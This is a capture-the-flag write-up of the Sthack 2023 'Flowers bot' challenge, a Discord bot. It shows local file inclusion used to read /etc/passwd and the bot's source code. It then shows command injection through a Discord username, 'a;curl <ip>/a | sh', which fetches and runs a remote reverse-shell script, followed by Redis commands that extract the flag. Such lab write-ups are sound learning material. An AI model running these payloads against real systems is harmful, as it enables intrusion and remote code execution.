Sthack 2023 — Misc Write-up : Flowers bot
During the night of Friday, May 12, 2023, the ctf of the Sthack took place in the city hall of Bordeaux.
Our team finished 5th overall out of 29 teams.
In this article, I will describe the steps that allowed me to solve the challenge, with a first blood on the second part of the challenge.
Introduction
Here is what we were given for step 1.
So, our main goal will be to get the content of the file ‘flag’ located on the server.
Part 0. Recon
After inviting the bot on the server, here is what it returns after having done “/flowers_help”:
Here is a brief description of the commands :
/flowers_help: Displays this manual.
/add_flower <IMAGE> <NAME>: Adds the IMAGE under the name NAME to your personal library.
/get_flower <NAME>: Displays one of the most beautiful flowers from your personal library.
/beautiful_flower: Returns one of the most beautiful flower images in stock.
/asian_flower: Displays an Asian flower.
/flowerize <IMG>: Adds one of our flowery banners to the chosen image IMG.
The main features we are going to use are :
Part 1 : Local File Inclusion, First flag
So, since we have the possibility to recover our files (our flowers) let’s try to recover a file present on the server, /etc/passwd for example :)
Hop, and the file is sent to us :)
So now, it’s time to find the flag. After some time researching where it can be, we found that this is the path : ../../flag
STHACK{simpleLFIoldButStillGold}
Part 2: RCE and second flag
Part 2.1 : Getting the shell
So now let’s see what the statement tells us for the rest of the challenge.
Its the same as the first flag, no indications.
After some time wondering what we should do, we decided to get all the source code of the bot :)
To do so, we have used /proc/self/cwd path to be in the Current Working Directory
So now, lets grab all the code. We will need to get all the functions from the import.
My first thought was very simple, since this is the line of the import
from inventory import add_flower, get_flower
I knew that there was a directory named ‘inventory’ and I tried to get the files like this : ../../../../proc/self/cwd/inventory/add_flower.py
So, in python, when you import functions locally from another directory, it will create a file named __init__.py which contains the name of the files where the functions are created (cf : source)
Lets grab the __init__.py file located in the ‘inventory’ directory.
After getting this file, why know that the real filename of the function is addflower.py
After getting all the code, this is what we have :
Lets see what we have in the code :)
In the file addflower.py, line 27, we see that if the user does not exist, it will call a function named ‘create_user_dir’.
When I said that the user do not exist, it’s based on the discord username.
Lets try to get the function code !
The functions is created in utils/create_user_dir.py which basically call a .sh script with a username.
Using the LFI we are able to get the .sh script !
The code is too long to copy paste it, so I will focus on the part that interest us.
PS : The varible ${given_name} is $1 (so the discord username)
PS2 : The function path_sanitize just check that there is no ‘.’ or ‘/’ in the username
So as you can see, if I enter in the else line 65, I will trigger the mkdir function line 68.
The exploit here is to use the format string in python code to execute an arbitrary command on the server.
In bash there are several ways to execute several commands in one line, with ; | and &&
For example, id ; pwd will display your id and the path you are currently in.
In our case, I will use a 2 step payload :
Create a file on my server that i will expose on the port 80.
In this file, I will put a reverse shell that bind the connection on the port 1337.
If anyone curl my ip with a ‘|’ sh, it will trigger a reverse shell on their machine.
To make this on the server, my discord username need to be something like this :
a;curl <ip>/a | sh
-> The server will see that the user ‘a’ do not exist and will proceed to do the mkdir function. Evrything that is passed after the ; will be executed on the server.
Here is my setup :
Lets rename myself and upload a new picture :
And there is our shell :
Part 2.2 : Getting the flag
To get the second flag, I’ve read the docker compose file, here is what i’ve found :
The redis container is quite strange but then I know that it was to store the flowers, lets enum the key inside of it with this one liner :
python3 -c 'from redis import Redis; r = Redis("flowers-bot-db"); print("\n".join([key.decode() for key in r.scan_iter()]))'
We see a “flag” key 😮
Here is the command we will use to get it !
python3 -c 'from redis import Redis; r = Redis("redis");print(r.get("flag"))'
STHACK{bashIsOftenBrokenBeCarefulWithShellscripts}
Et voila !
Contact :
Author : Adrien Zoghbi
Twitter of the team : LesPiresHat